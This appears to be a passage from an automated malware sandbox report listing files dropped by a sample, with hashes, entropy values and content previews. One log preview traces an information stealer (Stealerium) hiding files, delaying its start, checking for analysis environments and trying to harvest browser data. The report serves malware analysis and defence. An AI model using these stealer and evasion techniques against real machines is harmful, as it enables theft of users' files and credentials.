Preview:	NEBFQQYWPSTEXBZIDUTTATZZTFWRABRJBLLCZYJOVRXHUMPDHEGQDWTHPNRIJXJXBUSQEVJKULMLPCAPCSHFUPDJCEAANNYOFDUHLLLHOVFNKNTRVWZEFIUBXRXIMRWXDPWVTFKQMGYNRABMTANRGGSLGEIOAUBQFQTLCZWMEHWOZIIQMRJLAHLXPXNJVCGLENXDTBFKZKJLYBJRCHNDCSDKFOXIBOZTNXJYAJRSBBQPGAKTHVHMQLXYQGBGJEKXNNJBZRONCQRXSXGBODHFEHXLSDNKZKOYGQWTAWCYFZWCAASDECKZAPFZVLHUZNKAOEOFXYACNHCKLJCQBGVLWGGJAXFSREDNBXZVKQXDJSDSXQALVYBQAWFRFADSUOUAJLGHBNXRJZTADMFYSWTEEFNLTNZQFEUIHOMLHDFXIINXAWFLMBVWLQALRTVDAZZJLUPLSSAEVUHCENQHZDZHUFSLZAWTBWUIZXADMDJFNIGCMGZAUDXHJYRRCZLEWREZLOERQDDSEKREDPHBBKIUIEJMDLPLKXBZACMCVBOXPIUSWSAYGLJYPERFESVJDFDUCRRMCERYFAOHUKEWBRHIXVALIOBSUZIVKQJYQBYWWQBTQFSMFCMHHJGZWZAIAVHBXGYJSOQFKNTZPVJPXHVDUHZBGDUQFSTVAISEPGJPRFXXECIDSLUEKKGYCYYRYPCKPELJNUUBXKUPANFFQZXZCHJZGUXECSVNTCLQWVYUIUXXUHBVRWGMIPLLBTOOJWGEFGIBSTEOEUCIBZTYLFTDGDCLFGIIEJZNJQROHSUVDJWKISAIRTACFAGNSREZROONUNTUTBQDAEWKYIKLSDTXHQQYMOCADIFSSOJPAJKIYLOJZORJLSPXKKVUAEDRRGACWHBZIGNBZSFLRWHTOKEKQVLZFXTYGAOTMFRKSVLKIISUBYUBNXKHYRNKANSRGPAEMLRECJWZZUGCQATTLPPBVLBJPOLHBERJWQJMJGFN

C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Grabber\DRIVE-C\Users\user\Downloads\NIKHQAIQAU.docx

Download File

Process:	C:\Users\user\Desktop\f2wWJWlU2B.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690394987545919
Encrypted:	false
SSDEEP:	24:x8Xtqp+Wamt5Tlx/0lL5fswH7s9cBus1XuWzv:+tNsfMswbVb+WD
MD5:	CA901F8E74EB7955CF06A00BD424C0C2
SHA1:	0876F92A018E8AB57F666FBB048B1CD028607A38
SHA-256:	6DAB1DF82EDD11EEF4FD3B81E692BF065731935C03D4AAEB4493612188DD1D16
SHA-512:	7363E62B6FB08E96BD561FA00A05C7A88C0C20943FC3FB9CD505C77CCB40C549F8943DDFCA69532F6544E9CC929EB5786C488F3D7E8F1AB0F05C3EA10E4EA0B2
Malicious:	false
Preview:	NIKHQAIQAUYLAGKSNVEIEFIHRXSBOKMMEGWDWAKSEZEDBXXYJJOUSSENRJICLDBYWKJEUKRIBTNODZEVLZHOZSPIROLEDDZIVDLRTCVHZIXTARRYNQXDSJTZFOOYHUCROZUVPHMDRIWZWYNOATHQMKGZMPPIBYIAXUSGLYFPQTHUARHNEBTECYTUUCXJOESOPPKVXGBHXGPHIYJEJAYBFOVPMDVWEZNFBQJKZAWGCIWNFBSDPSSBBQTNYDJVQTTPUWPOOTVYKITOESDZWHOTFCZIQUYASDBGWAPMXAFIGQFPGWTRNBMHCXAZNMKIOSHYBMTSDERCDBFQSLEBTIGMCRUGZJZQAMYIFXIHLBUBWXCKIQTVQNMYMUYZWTTRQAVEAQFTTDTEFYTIXVPFUZALHHYLJHLNOFTPHODDWSFLBPCVKNDNFYPRHRVBHZSKKAJYBRTRWEHCIAZYAWYXGIRJSURFADGDZBTKMLEAYICWBYEAKNBIIDMQKZIXOLIQHETRIJJOSQDVZXKTZOMXOXGKIEJJNUHMCNVBNTYVETDBZHKYQLQYJBSUUNGMIURLIIINJAVXYNHTVSYTVBSAGNGQGUYADHTCDXNDKQFKCMHFRLWQZMSHDZEBEGPOSOPFUUHIVYBVXTLHFYHMHALQHNIUKMTKRBYZDOEALSNTXJRYMEETOQRISFEOVJSBVNMZFHXIDWOPIZKHISVTXVHAUPHEUOQLFVPNKREKEFDTLOWUVDKPDDCBKKSSGLLJSGVCAKVVFFKUKYVELNQTKZZRSDNEKDHUGDQWFBGFQMTINSXDOXPQOPZWHRDBBIZNGWLXSHCGVIBTIQEUTFYRIYKHRANDXVFREQPDFPRAKAFCQSRGTEIQGEAVDTJRESPBHYVTTLHWYQSKOZIBJZRSUJETZFCGMBHNYUSWWAENDXQUJFMLWZXGNLDFLSRZJBBJCPWKHFZXEVBDCLKULDSDXUFVEWFBMUMFQQONCJFFBARKNAVJ

C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Grabber\DRIVE-C\Users\user\Downloads\NIKHQAIQAU.xlsx

Download File

Process:	C:\Users\user\Desktop\f2wWJWlU2B.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690394987545919
Encrypted:	false
SSDEEP:	24:x8Xtqp+Wamt5Tlx/0lL5fswH7s9cBus1XuWzv:+tNsfMswbVb+WD
MD5:	CA901F8E74EB7955CF06A00BD424C0C2
SHA1:	0876F92A018E8AB57F666FBB048B1CD028607A38
SHA-256:	6DAB1DF82EDD11EEF4FD3B81E692BF065731935C03D4AAEB4493612188DD1D16
SHA-512:	7363E62B6FB08E96BD561FA00A05C7A88C0C20943FC3FB9CD505C77CCB40C549F8943DDFCA69532F6544E9CC929EB5786C488F3D7E8F1AB0F05C3EA10E4EA0B2
Malicious:	false
Preview:	NIKHQAIQAUYLAGKSNVEIEFIHRXSBOKMMEGWDWAKSEZEDBXXYJJOUSSENRJICLDBYWKJEUKRIBTNODZEVLZHOZSPIROLEDDZIVDLRTCVHZIXTARRYNQXDSJTZFOOYHUCROZUVPHMDRIWZWYNOATHQMKGZMPPIBYIAXUSGLYFPQTHUARHNEBTECYTUUCXJOESOPPKVXGBHXGPHIYJEJAYBFOVPMDVWEZNFBQJKZAWGCIWNFBSDPSSBBQTNYDJVQTTPUWPOOTVYKITOESDZWHOTFCZIQUYASDBGWAPMXAFIGQFPGWTRNBMHCXAZNMKIOSHYBMTSDERCDBFQSLEBTIGMCRUGZJZQAMYIFXIHLBUBWXCKIQTVQNMYMUYZWTTRQAVEAQFTTDTEFYTIXVPFUZALHHYLJHLNOFTPHODDWSFLBPCVKNDNFYPRHRVBHZSKKAJYBRTRWEHCIAZYAWYXGIRJSURFADGDZBTKMLEAYICWBYEAKNBIIDMQKZIXOLIQHETRIJJOSQDVZXKTZOMXOXGKIEJJNUHMCNVBNTYVETDBZHKYQLQYJBSUUNGMIURLIIINJAVXYNHTVSYTVBSAGNGQGUYADHTCDXNDKQFKCMHFRLWQZMSHDZEBEGPOSOPFUUHIVYBVXTLHFYHMHALQHNIUKMTKRBYZDOEALSNTXJRYMEETOQRISFEOVJSBVNMZFHXIDWOPIZKHISVTXVHAUPHEUOQLFVPNKREKEFDTLOWUVDKPDDCBKKSSGLLJSGVCAKVVFFKUKYVELNQTKZZRSDNEKDHUGDQWFBGFQMTINSXDOXPQOPZWHRDBBIZNGWLXSHCGVIBTIQEUTFYRIYKHRANDXVFREQPDFPRAKAFCQSRGTEIQGEAVDTJRESPBHYVTTLHWYQSKOZIBJZRSUJETZFCGMBHNYUSWWAENDXQUJFMLWZXGNLDFLSRZJBBJCPWKHFZXEVBDCLKULDSDXUFVEWFBMUMFQQONCJFFBARKNAVJ

C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Grabber\DRIVE-C\Users\user\Downloads\RAYHIWGKDI.jpg

Download File

Process:	C:\Users\user\Desktop\f2wWJWlU2B.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69782189124949
Encrypted:	false
SSDEEP:	24:Ejrsjf7MixEleswsyrKNRsfqDG97h9JFQttKZUsgd:AruwiCl9RyrKzDGvFothJd
MD5:	0640503E533EFB11CC70F43D2FFF4E26
SHA1:	EEACB5C334E23451DEF6DF7B1DBC836F8D5DC7F1
SHA-256:	F1E1D526371BA959E03143C250244912FE0B9C0002FB521B35EBF6B303A45240
SHA-512:	10A6184DE66D8DCFB784A4CADD010433A6E64B5C2BBDE73C5E804CB9C4A1DD42589D5B3F81004548BD4F4B48CDEC5E59F703C6E1CC91052578C191B0420B3F20
Malicious:	false
Preview:	RAYHIWGKDIRTARQYQWOBCGSCZTUKIHKHGIDMMEQIAQREXBEXSICMBOCZGGWHBLUMCKDMBQEITRPKYTMYLFIYWQOJESATZEPWZIOXPWBQZTJXLAJZABRWIVUBVJFSNDCHMUKOSZLAGXHWLJOZTOGXVRCKZUWMQJXXEBALSHWQQWMZSSNQPYAVMCOWPGIQXROQBVBCHGZFDUPLKTFJZFLPQAZUSOCBPSHUJTOHHLCAJMVXHEMQRTWBFOCSIQLCVPUVRLGBXUQDWIUHVAEKDXVYQFLOJKPUTQAUYMMBEAALRHWXLPSGJQAXQEKMLZIZODFPAFRSSEYDMLJMRHMTAAIXEFUIILJKVGEZOYKKWEPVJQVNYFFYKRTQETFXFNAJIKRVPASKSGPKFCKZPAWWPVZRALMCBKRDOEIBIKKTHQIKXETYHIXFIDXRTNRQTJUYJKPFSYLHGPQHDQCLEGRHMOWEKRHPYXHYBEJRWKNVHYVSFWCDDPTNQKIIPYEUERDNPUHTABOGALJFLNCHFVUUXYWKPWLFGSGGMLBJNUKSZDRMWINHKUODGVGUBXUFJZPIOPPUJJYPIYBSMFJDODMOMNHZLFGXCLRVZWGCTYATVPBVTSKSTKWSAFNJQHUTMYXATQBLVEOPUSEAHMLQDLRSJXGJWRUIJXFKGYOEOWEZOSKCJPIVESIUXOBETKSWFUVRRKSLBTDFQSCFNKQERIRRRREBLOQVLIDYLYKYFMCQBLBQTNJMMMKSVARWYDTJAARNVMOUPHYNYYQMCBERSBXMHXDBNYDZXQLRKYTIFDCWTEPNQGQDWHEMKECWRJGPESGZBVSBOMTJRUQQIBGIJFHOYKRJHNKMSSTEXXZGWSIGMLAJNJNUENSYJRBGUJKNETIMQHONDPCBMBYBIBNOHNJQYWEOHOCGOHXGWYYBPTHRZNFMHKEAHSEPDNXXSDYRREJULDTKDSLQABJKBZDQSIPXTUMOMUNOTGBAJQSBTRFIGSLC

C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Grabber\DRIVE-C\Users\user\Downloads\RAYHIWGKDI.xlsx

Download File

Process:	C:\Users\user\Desktop\f2wWJWlU2B.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69782189124949
Encrypted:	false
SSDEEP:	24:Ejrsjf7MixEleswsyrKNRsfqDG97h9JFQttKZUsgd:AruwiCl9RyrKzDGvFothJd
MD5:	0640503E533EFB11CC70F43D2FFF4E26
SHA1:	EEACB5C334E23451DEF6DF7B1DBC836F8D5DC7F1
SHA-256:	F1E1D526371BA959E03143C250244912FE0B9C0002FB521B35EBF6B303A45240
SHA-512:	10A6184DE66D8DCFB784A4CADD010433A6E64B5C2BBDE73C5E804CB9C4A1DD42589D5B3F81004548BD4F4B48CDEC5E59F703C6E1CC91052578C191B0420B3F20
Malicious:	false
Preview:	RAYHIWGKDIRTARQYQWOBCGSCZTUKIHKHGIDMMEQIAQREXBEXSICMBOCZGGWHBLUMCKDMBQEITRPKYTMYLFIYWQOJESATZEPWZIOXPWBQZTJXLAJZABRWIVUBVJFSNDCHMUKOSZLAGXHWLJOZTOGXVRCKZUWMQJXXEBALSHWQQWMZSSNQPYAVMCOWPGIQXROQBVBCHGZFDUPLKTFJZFLPQAZUSOCBPSHUJTOHHLCAJMVXHEMQRTWBFOCSIQLCVPUVRLGBXUQDWIUHVAEKDXVYQFLOJKPUTQAUYMMBEAALRHWXLPSGJQAXQEKMLZIZODFPAFRSSEYDMLJMRHMTAAIXEFUIILJKVGEZOYKKWEPVJQVNYFFYKRTQETFXFNAJIKRVPASKSGPKFCKZPAWWPVZRALMCBKRDOEIBIKKTHQIKXETYHIXFIDXRTNRQTJUYJKPFSYLHGPQHDQCLEGRHMOWEKRHPYXHYBEJRWKNVHYVSFWCDDPTNQKIIPYEUERDNPUHTABOGALJFLNCHFVUUXYWKPWLFGSGGMLBJNUKSZDRMWINHKUODGVGUBXUFJZPIOPPUJJYPIYBSMFJDODMOMNHZLFGXCLRVZWGCTYATVPBVTSKSTKWSAFNJQHUTMYXATQBLVEOPUSEAHMLQDLRSJXGJWRUIJXFKGYOEOWEZOSKCJPIVESIUXOBETKSWFUVRRKSLBTDFQSCFNKQERIRRRREBLOQVLIDYLYKYFMCQBLBQTNJMMMKSVARWYDTJAARNVMOUPHYNYYQMCBERSBXMHXDBNYDZXQLRKYTIFDCWTEPNQGQDWHEMKECWRJGPESGZBVSBOMTJRUQQIBGIJFHOYKRJHNKMSSTEXXZGWSIGMLAJNJNUENSYJRBGUJKNETIMQHONDPCBMBYBIBNOHNJQYWEOHOCGOHXGWYYBPTHRZNFMHKEAHSEPDNXXSDYRREJULDTKDSLQABJKBZDQSIPXTUMOMUNOTGBAJQSBTRFIGSLC

C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Grabber\DRIVE-C\Users\user\Downloads\SQRKHNBNYN.png

Download File

Process:	C:\Users\user\Desktop\f2wWJWlU2B.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699088014379539
Encrypted:	false
SSDEEP:	24:iGmuvXb+mVV5Ule86OuFXvk64KaOMJQaJO7tZAWPN4rOnsK:/muvL+mP5Ule86OuraOMJZOHADqf
MD5:	BF469DD8C21F5160EACD49BB59E9A370
SHA1:	2CE4942C6CD2E22A644BAAFAED41DF9D0773477F
SHA-256:	9ECF07708D59E0B3AE33ED553978F4B2BB806B2FB805296F73F9270C4AE01B84
SHA-512:	FBBB805B4C65902C67F2F432BA20FFF689FABDB3652702FA176369107F688C43923C9D729095F313425847E14B138E61117ED6C03E582F82B6426BBC2C481380
Malicious:	false
Preview:	SQRKHNBNYNETDCILWIKLNRYHJZUPCYVTJJKABYYNVEJZBFJGIUZEFUHCOZZISQELZULMAPFIBUSVGGSXSVZRNJXFVUEIKBQNARELKJEJZTEBGXIFTBGDXBSYFJKFICMLOMHZZSIJMPIXZMQULHAZWNOCSCLWTNJMCGVQAOPYTZVRLCKSUPSMWVOFCPJAONGQBPLMQUTZSFYRIBDZWBXIEDJISMCTGTYKEIXWVDVOGMFUNRJDNEGJLVWNACBBGIIRTAHGUMSLSIZNGTRAUGMZTVGLIAKLLKJGKBMXIFPOYCQXJZKJHTLNZGDCLMXTYOBGFAPOQCJGRAKORKGGWPBOJLOZATKDZYFDSONUZOGBFRDBUKZTVYZGXDEWUOXNWHMOIBVOWNWFGBHSDTQQKXWZEHQLAYIXOVZEEZNESKKWITYPIDCMFHTWVHMHFCGNEBNVBSSQHMRSWLHVMAZERIUFTRXEVZHKRXWOMGETJJFBRLFIBRGLAQKLDFZEGHLZSVAMXMNCCUROXGQOMDQJSKUNOGLGYYTVABESIDHASDRACLOFEWGPYLEORXSYDRDGPGOXHIAISBZBDRNVQJXXIBNBXMDSKXPBSCGKGPASGNOIDKIBFJWUIRQHZLXZQVHUEHMHTRDWKGJVQHWFQEBJIBQLDWQHOQLXSPFPLWPYZROYDAQOOOYKTPVFQXLMLRDYSVXVAWCEGVSHGDVSHONQUAVCBBHJRTIJAYXUILHNGHIXFJPJFAUDIJFORYJZHNAXLWYBLWKCVJLUJIGBYGSEWFJFIROQQXBVEJEPGVYKSDGTPKJAXDLAEHUXWDHSNXZPAKHXDOWTIFIVFZHYQJCDKOBOMCFVMEKARJULRZEOXVQKSLPWYLMLCYLKXCIELPAZNPRENTCWPNMFETAJHSENFDLPGHKVHIIHECDTQGWZMNTMEHNJFXFUGFJMWUXXGOIHOBSONRLSITUXOCRFNCIJNPHZABGDPAFATRMRCPXROMUN

C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Grabber\DRIVE-C\Users\user\Downloads\VAMYDFPUND.pdf

Download File

Process:	C:\Users\user\Desktop\f2wWJWlU2B.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690028473124583
Encrypted:	false
SSDEEP:	24:nCtOJ8AJzDzL/RXD03mp5reBXnqW8rdYu942ZCpjtJHU2coh:nsnA9/Z03y5qXnD0Yz0qjtJpN
MD5:	1E5D6B27E451F2406E5ED97F51985EE1
SHA1:	EDE59763DC7E1275594BDBB4EF90F9FEE78E946C
SHA-256:	A239ED81C44DBF3A8F7F28604058DE45B82FB3D596779B6B889837B2FE34A886
SHA-512:	619426DCC7B7C18488EC96D5474A5AA62EE4B1E7B52D8550B6A875AF0A19E02772D30142D9DC6986750732671605C7FF31E1F919CC6D121531ECBF0AE092E215
Malicious:	false
Preview:	VAMYDFPUNDEKDDABFYGQUEJPDEJQRXUZJGWCCCFXBISLBAZPZFZUOPASIBSPZLUDDUPRUHUUIJHOSYOAZNPTVHZSOVZRGZOUKAQEHTNLFNGLYDYUCGZPLLLOEHMTCCHZKQTFZGYFXUPESPRXRPJCGBDDSERLKFESFYUBNGVYLYUPKGUHNHSJITKDYFMCKPMQIQVZAFMCKDCYROFZHMGJMQRWYUHYHVRTNVUYOJXTDHGZTNEIQMQCBZXDPFJFNGRNBVMQWFGMLOWQCFSJCOQJGHEUOCLNTWHNHAGOTODKZYNINGMKGKTSEOLBKYRISYDHZOZINVXDDFVINOGNYWBEAYTTXSMSWAEGHZLSECWGHVUJJVTTQREREZKVNURFBXKMFFSJVVWOEKHLPTCOWUJHWSDFUKDNLAGSWYUGJMRJXXQRDDRLFRUUNRAXNLOUYXFWKVJGUQJJHPLTQELSOSFVIKIJHQPVLNQGQRDFLHUOUWYTAHHQSFZQBHLQJWUJVJPUBUAQTFOTVGLOZARCSHXCGYQYIDNDEHNFGLALSEIYWKOMVZTQBJZGRBJPSSWZPZKRLWDCYXTKIVIEXXRVZGNCFGSOUZLWFLDVXTEBFKTOHHOOJYSVZPFZXBJVQSOAXJEZIKYMAJHZMJPCAITWVFULTXNZLTXOUQONILVMPIEJGACXWGOEWJOJBLQJHQVHEYUQGLOZPDZOSSPVSZDXLGREZBQIVSASMXXLOQBKYWGPWRRHSSMYHGWBDFPDMXUISJUJUHAMPPRVABJXFEHOJLFPPRVMCBCSXCBNPGOOXIZIQFZDERGWQTALQWJYKPHMFIFYATLSCGMSHBWQYFHEGZQGQPMOIIHVVZQXVAUPPNJCVRKBVFXELRZEQZPLXOQQSXNGDZEGAJZDGSCYSLPQBSDTSQNIRNOZGTIBFJTEPZSUWIUBLEIVPBBHHLLIQQIUIIUARIYFPPNOAZPLXJGSPZJIXJTYLKJEEICOIZEUUYWP

C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Grabber\DRIVE-C\Users\user\Downloads\ZBEDCJPBEY.docx

Download File

Process:	C:\Users\user\Desktop\f2wWJWlU2B.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6994061563025005
Encrypted:	false
SSDEEP:	24:B08PKUcagX20VoXE+FZx/9wb8CokRMdpcUuDdgyzat15b9DZd7:B00KZagXRVyEC/9wbtor+DstLbXR
MD5:	A2EF8D31A8DC8EAFB642142CAE0BDDE5
SHA1:	6D33FA6AE5C8F3D94A889AF2AFBE701A8939BD4A
SHA-256:	A63D52B4D40DE4D08B155AB05F7B239F6B826D2E9AEF65D14C536CC17B117180
SHA-512:	0183DCD7C9808191B0D67319318EDB8069F15943CD9AFFDD5D905CA66471A301A3745EC2BDA93FD30400A08856F9530F8DB8A91555E910534E43591DE6588680
Malicious:	false
Preview:	ZBEDCJPBEYDZQGCVTGMBDASCMXWLERZBJTKXMSCERSGFDONQAMYGDFYKFYLRRNDSSGOWCSVJIWIVRJNDSQXJTTMAXVCSRDVBHJTJAHTUGCUAWHWEVTZMXBFFYFUVEYDCLBXZZXFGQTWOJCECEYXZGEOOJDMVGMJIBYUFGTAXZQFDALIISPEXNBMVCNQHJOUZVXMSFGVMMJSOTYBAIBARXRQIHGTHEJLHLQYVFLCLOFZPJJNGWGUFEFWDITXPCXBOEGYNGVEMPRSJBIUABRWYDIZIOEKFMGKERRXNEAUHHIGKJGZYYHOPIKNRRYEAZLMNYDGFIVIJPYMXKETIZCKXHUZFXIJHQQDRCSLMJZZJXMQYZJYWLCENOBYZRKIPDNTOCZBITNJXYFHPKLDLFNFTFPITPPGJYNAUOBLGWYVHPFDVDMRFKRTPDBLSNIHQBPMARNFKQAQJVIEOLDVNQKQXMHUIECHHCBWWKMSQPKKMTKTWVWEBVUAXWNLNMYEUBMGCGJTOJRQFGGHHLUDCSUNVREFGQLVZNTOMRGHSGVZCIEDGKHHTKATGJQYWMOXACOPMCHXJXNTBTSGCPUUSQVNCDVHCIQKUJWVUTGDNGWDNLQEWLMNYLKNVSFDBBIZZEHCDIMOJGCOBQZDWJNJPIEFNVWHFQSCSHGUQLBIQCMTBTOMPFZRCNWPIJILMFSCYXDRTMSMAVJZZGQJTZZACHQUIBTKCMOKJBPDOKJYCHADHETFJAVZAQIIWZRRGFSBGIIPYXFQSZKQPWXQCYERZGATQXEDAHDYBYZVROOBTIZFDOMRDVIUBHXTQOKCVSRLAYYMSBYFDGLRDCLXUKSNRGYDRFKSMAJGRBMDZLACAAKDZLPQZCVGELWTWVKPXDEMWCSQNQCJWQNLMOGJVDBANJWFKRRBFXUWVSMZLFJYCUJJORXEFPORKQLYKBMUOVWZKWNAHBCKBBJIYVVDQNIPFQZUTPFKYIRDTGOBWONUYXDVC

C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Grabber\DRIVE-C\Users\user\Downloads\ZTGJILHXQB.jpg

Download File

Process:	C:\Users\user\Desktop\f2wWJWlU2B.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699732953818543
Encrypted:	false
SSDEEP:	24:84HnNFe3vxyUDFktK2hDYjqaULhRGcVtUEn3iQw3M2qh0eQZnT:JnNk34UDFOt6uashRFVtUEnSQwbrV
MD5:	9790C04CE1F6B62202E4E959572AFFDF
SHA1:	48829C582A89E6EC74BFD85E01D2B6D73DDE4931
SHA-256:	20AB8AFF0DDCBA296F3A9F2D2997DC3BE893ABBDF3B8F177D00FF718FF810B7E
SHA-512:	8A702E988A39A50F9E4B8ECDEE15BD8D2B42D7B64D26663787237B83D721C5609B6D43CF2CEBBE3F0E0F44B36744017567B0AE3EBA64E728210D791E35A0DBA2
Malicious:	false
Preview:	ZTGJILHXQBDYANXOJRMTHNAZYEJWWSQMOUZSZDMPOKHAOSBBVKPZGPQYYYFWTHYUPOVLGPRBCMJOKABOUFQRUNCSLBUWHQHWCKJBNSLEKBYSGFLQNFCYSOOCTUPTMHOBQVRJQLHBTRNZVYNQTIJCQLZFVFWQJENWBSFXEGQTZFGKTCXFAERSTJUWBUKFEZZCWBHYCPYTOGPQWDCSXJUDEMFUHRKJBCEKWGYUWKCUJLZNGWAFGUSZJATTGQYULECWSYHFMAJWCTOUCQYTDJGMEUJIXMDEFUZBASTVSKHFKYAQMHJVUJBKUNEBUDWGZWYICPNSQKHKLIYGRWXPZDGTZQLGJEMLSIKUDLOXOTQYFKASRPSSHQEJLDMHJOXHJXMCWCSRSBJNNSKHXAVGHVNKHMXROFSMPJWFKZLJXVUCGYRFNLRCXLJHVEDSCCNKPMFIVDJPIVPOOPVLHIETRYWDPEZHKERGIHEOGISPUBPJNYGTFBITJJMDANWTPGXOIVWBFXGCENAXXTUXHEPQZPXDQZVRRYOKJJTNLYIQMHLRSIZASOUNFSQIWBRQPEPMJUWTSRQDJCLAFGOOKLOOHCUYOWUEGBUNICQSRPNOZCFIERLVGYGFDTKMNYDAPPRFAQXRNCYRLVDKLYPMRXMBQRJZTZBWGJGREIVYIKNRYHOVBXKHXZHPCZMKXFLNMPXXZFTNUPWHKDFHDMXLMDBDEFNDPVUGWVFHGUGURMSQTGEATZDDLJWBTKAXGZDNCCHPPPMVSWBMNTUYYWZPFLNBAPJJDYFQHFXBCHLEHUMGUNHRYXADUJLASWWJAWHMHLKHKYKXNVLXGJNTLZSQBDQABIFRDLCBSFZEMOGPQRZQFSYVIXQJRDSSLMPYIAQPAWAMTUXHSORDJHRLGGGGBGOCCVVAEIEQUBGFQCKVJHQBWPHHQNWDRJITUELVKGFPWZQSBWIWQHACSGDUHPOGGZNNNQTSKYOEUZIIREXQOJCFJCFQ

C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\System\Apps.txt

Download File

Process:	C:\Users\user\Desktop\f2wWJWlU2B.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	7269
Entropy (8bit):	5.358306801843586
Encrypted:	false
SSDEEP:	192:/JL+AJL+nJL+FJL+KJL+mJL+IJL+JJL+CJL+wJL+0yJL+0JL+dJL+3JL+fcJJL+B:/JLFJLIJLQJLtJLTJLlJLYJLBJL7JLKA
MD5:	A079A364F5FD99EBC44A7647C81257E4
SHA1:	D07E22B32D684E78C1F0D19730B40E29FEE58D52
SHA-256:	9C39511661B39FC79B4A0567F3FACBCD1FA33481B8FC229A9707248B40485B01
SHA-512:	DFEF92F1143F3998A8FF0C94D4E088F5F237E15F32C030000A5BE6203F52636975C154A606CAA29BFDEC9A58B6F0CFC58E7163850F4A1933E66FCE837D769C1F
Malicious:	false
Preview:	.APP: Microsoft DCF MUI (English) 2016..VERSION: 16.0.4266.1001..INSTALL DATE: 23/11/2023 19:18:43..IDENTIFYING NUMBER: {90160000-0090-0409-0000-0000000FF1CE}...APP: Microsoft Office Professional Plus 2016..VERSION: 16.0.4266.1001..INSTALL DATE: 23/11/2023 19:18:43..IDENTIFYING NUMBER: {90160000-0011-0000-0000-0000000FF1CE}...APP: Microsoft OneNote MUI (English) 2016..VERSION: 16.0.4266.1001..INSTALL DATE: 23/11/2023 19:18:43..IDENTIFYING NUMBER: {90160000-00A1-0409-0000-0000000FF1CE}...APP: Microsoft Office OSM MUI (English) 2016..VERSION: 16.0.4266.1001..INSTALL DATE: 23/11/2023 19:18:43..IDENTIFYING NUMBER: {90160000-00E1-0409-0000-0000000FF1CE}...APP: Microsoft Office OSM UX MUI (English) 2016..VERSION: 16.0.4266.1001..INSTALL DATE: 23/11/2023 19:18:43..IDENTIFYING NUMBER: {90160000-00E2-0409-0000-0000000FF1CE}...APP: Microsoft InfoPath MUI (English) 2016..VERSION: 16.0.4266.1001..INSTALL DATE: 23/11/2023 19:18:43..IDENTIFYING NUMBER: {90160000-0044-0409-0000-0000000FF1CE}...APP: M

C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\System\Debug.txt

Download File

Process:	C:\Users\user\Desktop\f2wWJWlU2B.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	1132
Entropy (8bit):	5.117834269490229
Encrypted:	false
SSDEEP:	24:JF4q66HRF4q6JW3EOQnjl3LxfLIXfKNlxWI7iUYgF4h9P:f66X6JBO4jl3LNLIkWITT4T
MD5:	0C0304F1B41782804973560DA073A7DE
SHA1:	D8963C2399305410A2B723041893210DB762B45C
SHA-256:	60066B369EBC22C62475846F8384A3FA794C191D6220374D5FE517FC74DC4C92
SHA-512:	6C07FB12B0D6CED94091AC0E6B44E2E117E761C2892F07993D6382D3A174DE28227701ED05E3AD207A552B3FAE76D66FA67B90389A4DA2E3922BD5ECA6F994EE
Malicious:	false
Preview:	HideFile : Adding 'hidden' attribute to file C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf.HideFile : Adding 'hidden' attribute to file C:\Users\user\Desktop\.StartDelay : Sleeping 3260.AntiAnalysis : Hosting detected!.Firefox >> Failed to recover data.System.ArgumentException: The UNC path should be of the form \\server\share... at System.IO.LongPathHelper.Normalize(String path, UInt32 maxPathLength, Boolean checkInvalidCharacters, Boolean expandShortPaths).. at System.IO.Path.NewNormalizePath(String path, Int32 maxPathLength, Boolean expandShortPaths).. at System.IO.Path.NormalizePath(String path, Boolean fullCheck, Int32 maxPathLength, Boolean expandShortPaths).. at System.IO.Path.GetFullPathInternal(String path).. at System.IO.DirectoryInfo.Init(String path, Boolean checkHost).. at System.IO.DirectoryInfo..ctor(String path).. at Stealerium.Target.Browsers.Firefox.Recovery.Run(String sSavePath) in C:\Users\Administrator\Desktop\Client\Temp\icwBcPGSmu

C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\System\Desktop.jpg

Download File

Process:	C:\Users\user\Desktop\f2wWJWlU2B.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	96417
Entropy (8bit):	7.915594052700386
Encrypted:	false
SSDEEP:	1536:CNnJhzFLiAkfcxHVShbtNSC5mr9J47jSM9+UQ5cmiGXlQkKVJsagr8OjSTM1H7U/:0vtjUcd0hbtNjmr9J4G9cmvQr/sEOWg+
MD5:	056FE5426671C3439033B48114807CCD
SHA1:	761835D0098B15DEAE921B046EE9116C79A22652
